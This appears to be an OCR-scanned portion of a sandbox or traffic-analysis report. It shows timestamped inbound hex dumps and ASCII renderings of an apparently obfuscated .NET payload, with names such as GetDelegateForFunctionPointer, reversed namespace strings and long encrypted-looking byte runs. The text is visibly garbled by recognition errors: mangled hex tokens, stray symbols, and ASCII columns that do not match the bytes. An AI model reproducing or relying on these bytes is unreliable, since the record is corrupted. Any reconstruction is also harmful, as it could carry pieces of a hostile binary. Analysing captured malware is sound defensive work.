00 46 69 6¢ 65 53 68 61 72 65 00 6¢ 6b 70 36 39 71 5a 47
Data Ascii: eget_CodeBaseReplaceGetPropertyPropertylnfoGetValuegrYvFMse6r76RP97uOA8TNGW3oNConcatGetD
elegateForFunctionPointerhrKrktdECtdobkFCxgsHBPFakjuwOCDIEVO0Bnpu4NxkthpZbnhv6YBop_EqualitywvdMNOpNFF
ileStreamFileModeFileAccessFileSharelkp69qZG

2021-12-18 17:40:10 UTC 118 IN Data Raw: 53 69 6e 67 6¢ 65 00 44 6f 75 62 6¢ 65 00 55 49 6e 74 50 74 72 00 43 6f 6d 70 61 72 69 73 6f 6e 60 31 00 3c
3e 39 5f 5f 34 35 5f 30 00 3c 3e 39 00 75 61 52 55 37 34 4e 77 4b 4c 00 53 6f 72 74 00 67 65 74 5f 43 6f 75 6e 74 00 66
42 65 49 38 34 52 45 70 53 00 46 61 66 49 43 73 53 51 76 37 00 53 5a 36 49 6a 73 53 57 45 68 00 69 4e 72 49 61 74 62
68 47 4f 00 46 55 50 49 77 71 75 4b 45 6e 00 53 47 6¢ 34 6f 64 38 30 46 65 54 4b 44 62 67 4b 63 79 6 00 44 42 72 65 30
66 38 35 71 35 56 51 43 66 4a 76 55 61 6d 00 4e 48 79 5a 6a 79 38 45 71 6e 47 47 58 65 54 78 58 68 64 00 4e 30 35 68
76 51 48 74 4f 58 00 6¢ 50 6e 68 52 55 6b 74 32 54 00 63 44 30 68 4e 35 32 6e 4c 48 00 73 4a 33 68 72 50 57 78 58 37 0
056 61 76 68 62 34 30 41 73 37 00 52 65 6b 68 50 33 41 70 6d 30
Data Ascii: SingleDoubleUIntPtrComparison'1<>9__ 45 0<>9uaRU74NwKLSortget_CountfBel84REpSFaflCsSQv7SZ
61jsSWEhiNrlatbhGOFUPIwquKEnSGl40d80Fe TKDbgKcyoDBre0f85q5VQCfIvUamNHyZjy8EqnGGXe TxXhdNO5hv
QHtOXIPNhRUKt2TcDOhN52nLHsJ3hrPWxX7Vavhb40As7RekhP3ApmO

2021-12-18 17:40:10 UTC 122 IN Data Raw: 52 51 50 6c 70 53 34 44 63 74 00 6a 4d 4d 6¢ 4a 5a 73 6a 48 78 00 67 76 4d 6¢ 56 31 59 57 4b 55 00 64 56 62
6c 45 75 50 4e 61 4e 00 69 36 31 6¢ 33 76 5a 57 46 6b 00 70 33 46 6¢ 32 58 49 6e 58 6¢ 00 57 53 4b 6¢ 7a 6f 44 6f 30 53
00 6e 77 57 55 30 76 46 75 36 35 00 61 6a 69 55 31 43 73 74 50 54 00 6f 35 44 55 48 46 4d 70 34 44 00 68 56 34 55 66
754977 4d 50 00 71 6d 74 55 49 41 39 66 4a 47 00 44 47 69 55 6d 32 70 78 70 48 00 41 4b 4f 61 66 4b 55 76 4d 39 50
55 75 53 53 61 4d 39 57 00 74 43 44 69 78 78 63 48 6e 50 00 72 48 4f 69 79 68 73 79 72 34 00 6¢ 36 44 69 47 75 37 44 4
136 00 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 4b 69 34 69 42 36 36 4c 48 56 00
70 6f 77 69 4c 34 38 54 73 73 00 58 74 61 69 46 6¢ 38 61 64 6f 00
Data Ascii: RQPIpS4DctjiMMIJZsjHxgvMIV1YWKUdVbIEuPNaNi6113vZWFkp3FI2XInXIWSKIzoDo0ShwWUOVFu65ajiu1Cst
PTo5DUHFMp4DhVAUfulwMPgmtUIA9fIGDGiIUm2pxpHAKOafKUvM9IPUuSSaM9WCDixxcHnPrHOiyhsyr4l6 DiGu7DA
6TargetlnvocationExceptionKi4iB66LHVpowiL48TssXtaiFI8ado

2021-12-18 17:40:10 UTC 126 IN Data Raw: 31 37 30 63 66 32 65 33 65 37 38 65 00 6d 5f 35 61 36 30 64 32 62 63 30 64 32 34 34 30 37 61 62 32 38 63 66
66 37 61 66 61 66 65 65 62 63 61 00 6d 5f 65 39 62 66 65 66 32 62 65 66 36 37 34 39 36 36 61 35 30 62 33 62 62 62 33
32 3566 37 31 31 35 00 6d 5f 66 32 34 34 62 31 62 30 37 38 63 30 34 65 34 65 61 64 61 37 64 32 66 38 36 34 63 35 30
62 62 66 00 6d 5f 34 30 38 38 30 30 35 38 31 38 34 64 34 37 62 33 61 37 61 32 62 33 34 30 61 36 63 61 31 34 64 61 00 6
d 5f 31 65 34 34 31 63 61 32 38 39 31 37 34 31 64 63 39 36 62 62 35 37 39 34 39 32 31 63 32 36 32 33 00 6d 5f 66 39 37
64 3536 61 39 31 31 30 33 34 61 39 35 61 36 61 32 63 30 31 32 36 62 30 62 35 37 33 64 00 6d 5f 65 66 31 62 39 63 66
64 64 64 36 32 34 61 64 66 38 30 36 38 36 31 32 35 31 36 61 30 37 36
Data Ascii: 170cf2e3e78em_5a60d2bc0d24407ab28cff7afafeebcam_e9bfef2bef674966a50b3bbb325f7115m_f244b1
b078c04e4eada7d2f864c50bbfm_40880058184d47h3a7a2b340a6calddam_le441ca2891741dc96bb5794921¢c
2623m_f97d56a911034a95a6a2c0126b0b573dm_eflb9cfddd624adf8068612516a076

2021-12-18 17:40:10 UTC 129 IN Data Raw: 43 53 68 61 72 70 41 72 67 75 6d 65 6e 74 49 6e 66 6f 46 6¢ 61 67 73 00 76 47 76 39 44 30 68 51 47 00 6d 78
335142483367 67 0069 31747576 61 4b 73 6a 31 00 58 6¢ 54 75 61 58 53 47 51 30 00 53 68 65 75 47 58 4e 65 6d
740062 36 72 75 38 54 61 46 6e 50 00 55 4b 53 75 55 79 48 6¢ 47 55 00 74 76 48 61 72 32 72 63 35 70 00 6b 55 51 75
35 6a 36 4a 48 79 00 68 59 76 75 4c 61 69 54 71 67 00 72 4b 65 75 57 34 67 6a 74 43 00 4d 42 5a 75 4d 52 47 4e 54 48
00 7a 46 4c 75 53 59 49 56 46 48 00 4a 76 6¢ 75 44 72 65 46 79 72 00 4d 68 6e 75 72 77 33 46 41 58 00 4b 4b 43 75 63
67 61 67 37 54 00 55 4c 76 75 6b 52 51 74 6f 62 00 42 48 30 75 58 74 39 39 4c 44 00 77 35 6d 75 56 4b 4d 61 69 56 00
54 71 65 75 66 41 44 35 59 4d 00 69 73 37 75 70 45 67 55 6¢ 6f 00 4b 44
Data Ascii: CSharpArgumentinfoFlagsvGv9DOhQGmx3QBH3ggiltuvaKsj1XITuaXSGQOSheuGXNemtb6ru8Ta
FnPUKSuUyHIGUtvHar2rc5pkUQu5j6JHyhYvulaiTqgrkeuW4gjtCMBZUuMRGNTHZzFLUSYIVFHJvIuDreFyrMhnurw3
FAXKKCucgag7TULvUkRQtobBHOUXt99LDw5muVKMaiVTgeufAD5YMis7upEgUIoKD

2021-12-18 17:40:10 UTC 133 IN Data Raw: 6f 00 43 00 67 00 6e 00 69 00 6¢ 00 64 00 49 00 73 00 6¢ 00 65 00 6e 00 6e 00 61 00 68 00 43 00 6¢ 00 65 00
64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 36 00 34 00 39 00 30
00 6e 00 51 00 41 00 61 00 69 00 49 00 79 00 43 00 51 00 77 00 55 00 4c 00 6a 00 63 00 74 00 4e 00 58 00 52 00 76 00
4c¢ 00 78 00 41 00 79 00 4e 00 30 00 45 00 71 00 4f 00 45 00 78 00 37 00 00 80 7f 42 00 69 00 74 00 61 00 63 00 69 00 6
e 00 75 00 6d 00 6d 00 6f 00 43 00 67 00 6e 00 69 00 6¢ 00 64 00 49 00 73 00 6¢ 00 65 00 6e 00 6e 00 61 00 68 00 43 00
6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 36 00 34
00 39 00 30 00 69 00 67 00 45 00 4d 00 52 00 59 00 79 00 46 00 67 00
Data Ascii: oCgnildislennahCledoMecivreSmetsyS6490nQAailyCQWULjctNXRVLXAYNOEqOEX7BitacinummoCgnildls
lennahCledoMecivreSmetsyS6490igEMRYyFg

2021-12-18 17:40:10 UTC 137 IN Data Raw: 08 08 04 06 12 80 d4 04 06 12 80 d8 08 00 01 12 80 91 11 80 el 05 20 00 12 80 d9 09 00 02 01 12 80 e9 11
80 ed 05 00 00 12 80 f1 05 20 01 Oe 1d 05 04 00 01 01 02 19 07 14 1d 09 1d 05 09 09 09 09 09 1d 05 09 Ob 09 08 08 09
09 09 09 09 09 09 05 00 01 1d 05 09 Oc 00 05 01 12 80 €9 08 12 80 e9 08 08 0Od 00 08 01 10 09 09 09 09 09 07 09 1d 09
05 00 02 09 09 07 09 20 03 01 1d 05 1d 05 1d 05 14 07 11 08 08 1d 05 08 09 09 09 09 08 08 08 09 08 08 09 08 09 05 00
00 12 80 f9 05 07 01 12 80 f9 07 00 02 12 81 09 Oe Oe 03 20 00 1c 06 20 01 1d 05 1d 05 Oc 00 04 01 12 81 15 12 80 ad 09
1d 05 03 07 01 08 07 20 03 08 1d 05 08 08 0a 00 04 01 12 81 15 1d 05 08 08 Oa 20 05 08 1d 05 08 08 1d 05 08 09 00 04
09 09 08 0a 12 81 19 06 07 04 08 09 09 09 05 20 00 12 80 ad 04 20 01 01
Data Ascii:

2021-12-18 17:40:10 UTC 142 IN Data Raw: 91 12 80 91 10 00 04 12 75 11 81 e1 12 80 91 12 80 91 12 81 c0 04 06 12 81 c4 05 20 01 1d 03 1c 08 00 02 1d
03 1c 1281 c4 04 06 12 81 ¢8 04 20 01 08 1c 07 00 02 08 1c 12 81 c8 04 06 12 81 cc 08 20 03 1d 05 1d 03 08 08 Ob 00
04 1d 05 1d 03 08 08 12 81 cc 04 06 12 81 dO 05 20 00 12 80 f1 08 00 01 12 80 f1 12 81 d0 04 06 12 81 d4 06 20 02 Oe 1c
1d 0509 00 03 Oe 1c 1d 05 12 81 d4 04 06 12 81 d8 05 20 02 03 1c 08 08 00 03 03 1c 08 12 81 d8 04 06 12 81 dc 07 00
02 0308 12 81 dc 04 06 12 81 €0 06 20 02 12 7d 1c 03 09 00 03 12 7d 1c 03 12 81 e0 04 06 12 81 e4 04 20 01 Oe 1c 07 O
002 0e 1c 1281 e4 04 06 12 81 €8 09 20 02 01 12 80 €9 11 80 ed Oc 00 03 01 12 80 €9 11 80 ed 12 81 e8 04 06 12 81 ec
09 20 02 12 80 85 11 81 €5 Oe Oc 00 03 12 80 85 11 81 e5 Oe 12 81
Data Ascii: u 1B

2021-12-18 17:40:10 UTC 146 IN Data Raw: b4 2b 91 73 fb 1d Oe 43 a6 a7 c3 33 b2 dc 8a 84 59 37 30 dd 82 b6 d2 01 24 9e 52 05 7a 72 Oe 69 a8 29 6a cb
d1f5 41 5f d0 80 01 00 aa f6 5d e2 fe bc ec 66 47 e0 b6 bl fa aa dc 4e fc 14 1b fb 47 4c be 6b f3 ec 2e 9d 6 49 49 b5 82 al
fd 47 03 75 fd 60 fb 22 d9 1e Ob fc Of 70 ce 92 82 d6 9f a7 8d 1d 47 9d 69 21 2b 54 85 bc 5f 5e 8a 77 ¢7 7d cd 0d a0 8e 41
05 26 f5 d3 8b 49 63 01 d9 1f 30 29 6d b9 Oc b8 18 b0 ec 3d 96 be d9 d7 72 8f 83 8b 0f 13 al a9 4f 08 dc 06 84 2b 4c 1d
dc 83 41 f6 18 cO ec 47 {3 3d d4 24 97 37 58 cb b5 98 50 fb 1d 56 f8 21 d6 8e ed fa 90 4f a0 65 fb 69 dc ee 24 40 2b 99 dd
29 24 ¢c6 0b 3d 75 61 60 bd c2 18 ca 8a 1b 64 53 2d db 6b b5 37 64 9d 31 02 ac f9 51 13 6d 3d 14 01 b0 el 8c 4e d6 ca cd
be Oa ba 5b f4 be fd 4a 6e 43 ac 55 a7 a8 a8
Data Ascii: +sC3Y70$Rzri)jA_IfGNGLK.IGU "pGil+T_"W}A&IcO)m=rO+LAG=$7XPV!0ei$@+)$=ua dS-k7d1Qm=N[InCU
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kBytes
Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 150 IN Data Raw: f9 56 7 91 7 c9 e4 90 78 ff d6 61 5a d0 58 7a 1b ¢8 17 c5 ec fd 35 c1 64 8d 81 79 89 95 ¢9 81 4c 36 4d Oc 18
9a 82 70 b4 47 18 d4 2b a0 1 be 90 8d 48 dd el 32 9d 62 54 c4 2f 0d d7 5b d3 b9 d8 1e 3f 4b fe 3a b0 10 3¢ 2d 47 94 87
57 9e 03 32 58 74 f4 85 84 {7 11 ¢6 37 86 2e fb 68 25 c5 e4 cd 45 5c 9a ¢l 8e fe 57 46 25 50 49 ab 8e e3 Of 2f ff 68 60 09
4b d9 81 22 86 b8 18 89 Of 8d 58 ba 8d ca f1 c1 ee 2f a2 0a 74 €0 11 13 ff 3 cO fc al 7d 01 a6 d2 6 d3 aa ec 5 00 95 80
8¢ 96 49 eb 14 Oe ec 27 40 8f 43 47 92 31 90 d4 a4 21 65 92 a9 6¢ fd 1b 92 f6 ad ce 37 1f 9b 5¢ 79 bb 27 52 42 d4 40 e2
1b a1l 4b 2a 86 be 3 0d c8 63 fc b2 34 3d 9d 93 9f d4 c2 bc 5e c5 3e 51 €6 88 96 08 Ob 49 21 82 17 c8 ab 8b 64 3d b2 06
ae 34 28 8b 86 d3 b9 4 76 ff 92 95 27 09 ec 28
Data Ascii: VxaZXz5dyL6MpG+H2bT/[?K:<-GW2X{7.h%E\WF%PI/hK"X/t}'@CG1lel7\y' RB@K*c4=">Qlld=4(v'(

2021-12-18 17:40:10 UTC 154 IN Data Raw: 23 19 b6 7d 28 6b 25 0a 71 54 64 36 1d d5 20 f8 86 2e 41 49 71 79 a2 de 2a 6b e2 6f 3a 5f ¢1 97 19 7b cd 26
77 a4 5f 28 d6 5d 23 f7 24 23 f4 a0 25 b2 bf 84 e0 73 53 60 d7 €9 56 d7 5a 81 d2 ed 43 8b 93 89 b1 b3 18 d4 ec fb 77 b2
66 7f 8c 65 a3 4e ec 6e 54 b5 5 1f 27 29 1d 27 ca e5 9e 55 e2 73 22 36 54 18 0b 93 fd 84 01 e6 91 9f 16 57 al 32 Oe 63
02 e4 75 32 0d bf f4 d7 e2 ab 45 23 4b 3d a0 72 b6 17 9e d4 8f 3b 9a ef 8d 91 a2 e4 42 19 d0 77 18 65 3f 50 c9 34 9a 66
99 fd 6e 3c ea 41 13 83 5 96 04 52 54 52 4f 8b 8b 71 c9 3a 6b €5 f3 c0 60 2e 95 7d ac 2b 91 7e 4b 34 40 3fd8 23 a5 13
6c e7 2d 16 c3 d4 42 6a e2 6¢ b5 3f 28 d9 3 f0 19 c1 94 3f 36 f4 f6 48 43 5 3c ¢8 d3 30 07 bc 5¢ d8 55 74 a8 47 bb aa b2
7b a8 48 d2 23 59 Oe 4e 00 25 f2 5¢ Of 6¢ 40 fe d1 2e
Data Ascii: #}(k%qTd6 .Alqy*ko:_{&w_([#$#%sS VZCwfeNnT")'Us"6TW2cu2E#K=r;Bwe?P4in<ARTROQ:k . }+~K4@?#I-
Bjl?(?6HC<O0\UtG{H#YN%\I@.

2021-12-18 17:40:10 UTC 158 IN Data Raw: be 49 ee 10 fb eb d9 1a 2c 26 1a a3 d7 77 77 42 d1 96 87 a4 f5 ed €9 55 73 31 93 42 31 cb da ee 6¢ ba 49 57
47926 322256 71 79 31 84 c1 b6 aa b9 9a 23 e3 a7 fb 79 23 24 03 e5 b8 1d a0 al 4d 9c 91 ee ff d9 le eb Oe 7a 97 f2
53 f7 4d 74 4f a3 4e 67 Oc 5f b5 f9 4c d3 23 d9 f8 cb f6 b6 68 b9 40 1c b9 63 50 d1 da 09 4e 56 45 el 00 b4 78 98 07 €9 61
ab f1 2c 55 c2 70 e5 68 84 b1 9a c1 08 ff 93 63 96 {7 3a aa 74 14 a5 b8 ab {7 36 1f f5 1c 02 ee 56 bb 2d 95 fb ac 0a ac 06
el ca82fbfa20c6db2l 1a 10 ae 31 7c 88 af 02 b3 53 15 40 c9 3e 5a le 2b 65 8b 38 d9 f0O 6a 4f Ob 64 88 00 dd ca e7
91 4b f1 16 84 2b c4 fe Ob b7 ea ee 22 5¢ 99 f0 5a dc a8 99 12 a8 dd 80 Oc df 5e b8 98 ae 65 95 23 04 30 39 b1 a5 2d bf
2f 81 7c e8 ce f9 a6 95 23 fb cd 6¢ 8d c2 5a al 7
Data Ascii: |,&wwBUs1B1IIWG&:"Vayl#y#$MzSMtONg_L#h@cPNVExa,Uphc:t6V- 11|S@>Z+e8jOdK+"\Z e#09-/|#1Z

2021-12-18 17:40:10 UTC 161 IN Data Raw: 3a 59 a3 5e 52 ec df bf 12 2a 47 2 82 bb f2 6f 88 f3 d6 63 f8 f3 cd 05 ff 7a 83 55 1d 44 49 c7 87 72 fb 39 88 08
00 dd 40 e0 9b 87 db 3c f5 fO f5 44 a8 bd 7e 69 le 84 cf d9 ec de d6 28 d3 4f 2b 8b el f9 32 43 16 fd 02 18 20 8e de ec 82
b6 6¢ c9 97 31 bd 9c b8 29 98 ef ac f8 43 7a 63 fe 44 ca 91 17 55 3e f6 7f 9e fe 40 27 ce b6 50 fb 40 50 6d 2b 69 18 11 36
a6 63 b3 9a 6b 88 2f 8d ef 3 3c 07 cf d3 07 85 69 ba 15 Oc 9e d9 82 77 f1 57 18 68 68 35 af a6 18 ff ac 58 €9 2d 24 7f 6f
cb 6f Of 6f a3 18 ee 8e 71 21 cd a4 aa 55 5d a5 64 9a 3a 1b ab 38 55 3e 01 97 12 36 f6 6a d4 29 2d d4 7c c3 78 2d 70 36
d2 e6 5d e6 b8 33 ef dc 18 ef 51 b3 f3 d8 09 dd 81 23 b7 93 b0 62 0a 60 2a 54 7e 60 f8 b3 9f d9 57 7e f9 05 18 a3 6a 3b
58 c2 f9 02 39 5f 40 2a e0 48 Oc 7a b3 38
Data Ascii: :Y"R*GoczUDIr9@<D~i(O+2C 11)CzcDU>@'P@Pm+i6ck/<inWhh5X-$000q!U]d:8U>6j)-|x-p6]3Q#b *T~"W
~j;X9_@*Hz8

2021-12-18 17:40:10 UTC 165 IN Data Raw: 14 ff 18 ea fc a2 eb 1c 84 b7 ed ca 30 be a2 04 ba 38 29 8d 79 85 cd 2c c4 ef a9 0d 2c fb cf fb 7f 44 07 40 b2
a3 01 91 aa 30 58 64 36 33 7c 03 f7 6e Ob 4e 9c d3 4f 19 b0 13 70 bd c7 b1 90 db 71 ab d3 8b 7b Oe e4 74 d6 d7 89 02 52
9e cd e5 a4 aa 02 78 6a fe d1 64 de a2 72 ce 88 cd ce 52 39 03 2a 63 dc 8a 48 e7 43 db b8 al 4c 84 e6 af 7b 90 92 7e 91
7abl2e 51 7b 8a 43¢5 97 f2 0d 5¢ 79 18 91 2d b3 8a af f8 17 33 20 8c 86 6e bc 65 8¢ ae 0a a5 05 5a 0f e8 dc 1e 31 76
74 7d 9d de 69 21 23 9e 1f 49 5d 78 bd d6 €0 f7 ad 3b 03 d8 da b2 8e cb 96 15 0f 46 78 b5 ab a4 9f bf 17 4c 7b 1b 8b c4
€3 7a 6060 2d ab 35 5¢ 88 1c d1 09 a9 77 bf dc 21 7d 80 17 d3 80 f4 af dO 4f 99 6a 06 64 9e eb ba 4e df 52 6e ef de 02
85 d4 8e fc dc 15 d8 c0 2c fe 78 ce 48 bd 20 6a 73 16
Data Ascii: 08)y,,D@0Xd63|nNOpg{tRxjdrR9*cHCL{~z.Q{C\y-3 neZ1vt}il#l]x;FxL{z""-5\w!}OjdNRn,xH js

2021-12-18 17:40:10 UTC 169 IN Data Raw: f9 53 2e b5 2c 81 fe ee 08 2e 8f 61 0d 84 e4 a7 5a 0a bb 2d c0 2c 3b 6¢ 74 7e b3 ac 5f be 43 f5 09 b4 c5 c5 ed
ce 5b 19 8a fc f0 92 86 8d 20 Ob f3 al 24 b8 a3 4c 34 e0 67 6d 3c 12 e4 65 68 ac f1 6b Oc 34 b0 68 fa 4f 56 e3 2e d3 6f ed
02 d9 dc 5a 19 88 5b 34 33 d5 9b 96 79 5e 56 2b d5 24 14 1b 5b 2a fa f7 06 54 c7 f1 77 2b b1 40 65 aa ab 8b b7 d5 91 2e
14 0d 5d 2e 52 a6 57 29 d3 b3 dd 61 9f Oe ca e9 95 e6 Oa c6 fe 62 f6 33 48 23 e2 Ob 58 f2 5a 45 05 f8 bc 3d a4 bf bd 1f 61
8180 53 cd f4 4d 16 b1 0d 19 6b 76 83 bc 09 cb 05 08 84 59 34 a8 41 f8 d4 24 45 2c 07 32 52 30 dc 16 ff 21 da 12 bb 44
92 ab 1c 19 54 6¢ e4 b5 96 7e ¢3 29 70 6d 71 b5 93 95 11 9c 49 e9 82 f3 3¢ 59 81 93 76 6d 91 4d Oa 52 a2 4b ce 47 e7 6f
81 80 15 6¢ 4a 74 77 3e 12 18 02 e6 5d 36 b3 0d
Data Ascii: S.,.aZ-,;lt~_C[ $L4gm<ehk4hOV.0Z[43y"V+$[*Tw+@e.]. RW)ab3H#XZE=aSMkvY4AS$E,2R0!DTI~)pmql<Y
vMMRKGolJtw>]6

2021-12-18 17:40:10 UTC 174 IN Data Raw: 46 a2 03 86 04 Ob 5d 75 4b 95 f3 dc da dd b5 09 f9 5e 09 62 f8 81 5a bb 4c 7b 36 f6 a0 6a f5 7e a2 1c 62 08 b3
5b 86 c1 a2 53 2d 52 a2 08 1b ce ce 72 87 ac 24 b7 2d Ob b4 71 ac {7 37 fc da bf eb d6 23 90 53 b1l 4e 5f 58 fb bd d1 2a
c0e5e021 clf226 1880808 a9 63 6d 9803 1b 19 39 42 73 3c 3c 90 fO 5¢c ee 67 ed 04 85 57 4c 09 80 65 d1 c8 d3 86
10 9f el ee 47 9b 09 10 2b ab 16 ff 5¢c 26 17 70 c5 97 e4 2f 2f 85 f8 6e a9 dd 06 85 cc 0d 90 52 e0 ee c0 11 df 8d 53 46 bc
5d 8d 5d 21 6a d9 59 ec 17 91 80 b9 77 fc 3 ac 96 2b 25 ae af 17 2f 37 ee 93 50 8a d9 14 be 1d c1 4a 98 bf 3e be 1d 2e
b2 30 91 55 Oe 7c 34 e7 9e a2 05 93 d6 a2 1a 25 ee 8e cb a2 f7 19 35 cb al 11 5¢ dc f2 ee 1c 63 28 8b 45 de ff d3 cb d1
5c d7 de fe 8e 9b b5 5e da 80 9b ba cc e6 99 06 e5
Data Ascii: FJuK bZL{6j~b[S-Rr$-q7#SN_X*I&cm9IBs<<\gWLeG+&p//NRSF]]!jYw+%/7PJ>.0U|4%5\c(EV*

2021-12-18 17:40:10 UTC 178 IN Data Raw: fd ca 91 bd 28 09 7a d9 73 ca bc eb 2c 6e 30 e0 8d 19 el c3 65 7a fa 56 a0 c2 1f 3f 9f 7e 95 df 88 30 29 ed 92
e5c4 9831 06 b7 71 09 af 54 78 ¢2 97 1f 93 b3 d5 c¢7 2¢ 55 81 ed c1 a8 f0 86 c3 €0 6a 1e 9b ae 8a b9 bc ab b8 60 8e 59
15 6¢ 47 fc de c0 4a 09 05 44 c3 3e fc 20 2f a0 7f 05 00 7a d4 c8 af 1d 1e e7 d2 37 Of e8 b8 d4 8e 58 bc 1f b2 03 ba 84 a0
58 d5 c1 48 dc c2 5¢ d1 de 6d 68 c3 bb 8b €2 04 11 ¢3 23 c9 ef e4 7d 58 93 98 bc 69 82 61 d7 9b c1 d8 dd ab bf 7b €5 75
8387 ed a8 35 be a9 7d 78 19 64 27 9d 25 98 ab 54 0d 3f bc 3d bc f4 82 93 aa 3d 80 ce 1e €9 72 Oc 8 44 d8 b9 3c c2 a9
14 72 a9 b6 31 ff 55 f2 36 0f 9d 4c d5 56 de 4b 49 53 3d 99 a7 3e c9 66 85 el e8 89 5a a0 57 4d f6 67 b7 f8 88 02 €0 ch
91 97 36 66 51 84 d1 26 20 a4 Oe 30 9b 9a f1 97 b8
Data Ascii: (zs,n0ezV?~0)1qTx,Uj YIGID> /z7XXH\mh#}Xia{u5}xd'%T ?==rD<rlU6LVKIS=>fZWMg6fQ& 0

2021-12-18 17:40:10 UTC 182 IN Data Raw: 58 a6 5f 78 el 1c 10 b8 7a al 47 8c 57 4d 1a 55 03 42 2c 5 93 3e b0 b3 6e 77 79 d3 7a bc 02 Oa 3a ad 92 25
7c f29b 12 f4 e4 43 d3 f4 51 e6 57 2e 19 2f ce 6d 8b 97 d8 6a d8 {7 27 59 11 Ob 36 04 8f 14 27 fc ee 73 7b fa ac ec 79 ce
2f 56 d2 82 23 5a dc 9b 1d 62 48 c2 ea a3 ab 62 e0 d1 f4 9a f8 d8 27 b8 7c 4d 9e 40 35 d8 20 c¢8 92 d3 3a 13 19 ¢7 9a 7b
90 2a 08 8a 4e 75 0d Ob d1 93 6f 8c ad f8 18 6d ae 75 86 cd 15 68 14 ac 80 9b 67 61 3a 7e Oa 36 9f 2a 5f Oc b7 a5 02 3f
ca fd 1a e9 cf 44 b3 43 be 52 c3 3e 3a 16 2d 14 ea f9 c1 bf ac 51 d8 4f 55 4e 88 64 09 dc e0 ac 60 2c cd 65 19 44 1e fe 14
05 ff 09 ce d3 a5 72 al 53 9f 05 e5 af 4a d8 08 8a ed e0 45 2 0d 04 82 e0 b8 fb 77 cc 19 db f0 €9 ba 7a 66 77 2d d8 dO ec
20 3a 09 d4 e0 05 40 dd db c3 16 2e df 2a 69 cc
Data Ascii: X_xzGWMUB,>nwyz:%|CQW./mj'Y6's{y/V#ZbHb'IM@5 :{*Nuomuhga:~6*_?DCR>:-QOUNd",eDrSIEwzfw- :
@i

2021-12-18 17:40:10 UTC 186 IN Data Raw: 99 3d ce 5¢ 36 b9 d4 98 dd c7 5f 18 cf ¢8 c9 7b a4 97 19 d7 3d Oc a5 cc a7 67 b0 d6 fa 1e 31 cl 4c {7 8f c0 34
2d 2a 17 b5 ad 52 e2 13 8f 61 10 02 06 74 7b ad Oc 43 1f 9f al 98 b3 12 78 4a 8f 31 dc cf ef Ob c3 96 0a 93 41 90 6b f8 68
99 21 42 73 f1 0d fO 6e 7b 8b 02 22 d2 55 1f b4 67 2b €3 73 58 95 7c 64 70 19 23 62 9c f8 6e 47 cc 06 a4 c9 ad dd a4 96
21 2e b2 df bb 5a 72 bf 2b a0 b2 6¢ c6 bb 43 d1 ed 2b 8c 0d bb ef Oc 80 2a 29 bd 1d 92 15 db 58 69 f5 fa da 16 93 fe c6 36
82 b0 al 9faa 74 3¢ 13 13 17 e6 65 fa 11 29 73 6b ae ac 76 bc 95 4b 2f fa ed 2a 9f 05 36 6f 3c 67 d3 04 c6 a5 8a fc 1b f4
fO b4 91 Oc e2 a0 20 17 f5 90 c9 69 bb a7 8e 02 55 47 00 61 e6 08 a3 67 fd 70 6¢ 8d 88 a6 €8 52 fc d5 25 a9 cf 79 de 75
€7 d9 24 ed 8d a0 70 Ob 45 fb 6d 06 39 ef cb
Data Ascii: =\6_{=g1L4-*Rat{CxJ1Akh!Bsn{"Ug+sX|dp#bnG!.Zr+IC+*)Xi6t<e)skvK/*60<g iUGagplRY%yu$pEmM9
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kBytes
Timestamp transferred Direction Data

2021-12-18 17:40:10 UTC 190 IN Data Raw: 72 10 79 8d ab a4 60 02 €0 4c 5e 05 da 5a 5¢ 08 5b 6d ff a0 27 93 61 27 96 5a 8e 12 1c da 39 ee a9 c5 el 17
ad 35 97 ea ef 6¢ 43 eb 5e dc 1f 9e 9f 15 bf ¢7 5b 02 9f 74 €3 fa 5a 5f 58 27 82 92 2e {8 5f a5 55 00 ¢4 4e 6a 47 7e 67 5f
d1 d9 ef 33 6¢ 14 50 34 f1 ¢5 ad 61 2b cb 43 a7 Ob 23 c8 33 50 1e 82 04 9d b7 25 3f 62 ea c4 a7 93 71 6 2a 9f dc 4b 2¢
cf 42 12 80 85 2c b1 19 €0 80 ea b0 9e 04 Oa 3f 56 3f 16 a0 8b 74 89 15 1b 05 c5 2e 5f ac c3 df c6 0a 36 4¢ 73 1b 34 f1 fe
3322 eb d1 24 85 a0 ed fa a3 d6 f5 49 06 32 36 52 87 3f 90 4a b3 2b d9 4b 5a 88 71 36 67 9b ad c8 17 Oe 77 7f 3b 25 18
61 89 bb 38 29 d0 42 6¢ 9d da 99 60 be 7d 3¢ 78 6e 01 aa b7 b6 43 22 3f be 04 65 7e 01 ec 5b 3a f2 a6 62 fe 48 €0 db da
90 2a 39 fa 81 dd 37 18 a6 8¢ b7 35 d4 da bb 04 7c
Data Ascii: 1y’ LAZ\[m'a'’Z95ICA[tZ_X'._UNjG~g_3IP4a+C#3P%?bq*K,B,?V2t._6Ls43"$I126R?J+KZq6gw;%a8)Bl }<xnC"?2e~
[:bH*975]

2021-12-18 17:40:10 UTC 193 IN Data Raw: 2d 84 6e d1 01 5a Oc 32 8b d7 b5 2d 45 f0 64 50 Of a9 59 38 f4 da a6 5¢ 95 cf 63 ed 03 a4 fc 06 64 a5 49 95 51
Oe 18 4d b7 1b dd 83 e1 87 94 e7 66 f6 6b 8c 88 80 25 f1 a0 17 37 0d 69 e7 ab ac 90 08 21 3d 4a 36 e2 05 ff a6 3f 78 c1
70 be 15 d2 e8 03 13 ec 00 56 35 93 19 48 5a 59 aa f7 7a 9¢ bl ca 39 f3 35 73 a2 38 2a ce 74 Oc 20 17 32 5f 58 d5 61 a3
d9 35 68 99 bd ca 41 fa ec Oc 66 bc 3f d3 25 2a de 8e 9b 93 da 08 96 2f 90 07 ca 79 b0 2a db 02 50 46 f7 4¢c b0 51 bd 7c
02 b2 16 f1 5d f9 3c 58 93 57 ef d8 c6 cd 5¢ ae 79 88 2f bc 55 64 dd 01 f4 2a 65 72 1b 2f cf ef 5f 91 7e ea 64 12 85 75 78
Oa 7c dc b6 e4 54 80 f5 de 28 ce c4 77 a9 d1 da 68 8¢ 91 18 f5 b7 30 da fd 2d 26 be 97 c1 d8 30 a9 fO 74 15 b6 ac 18 c8
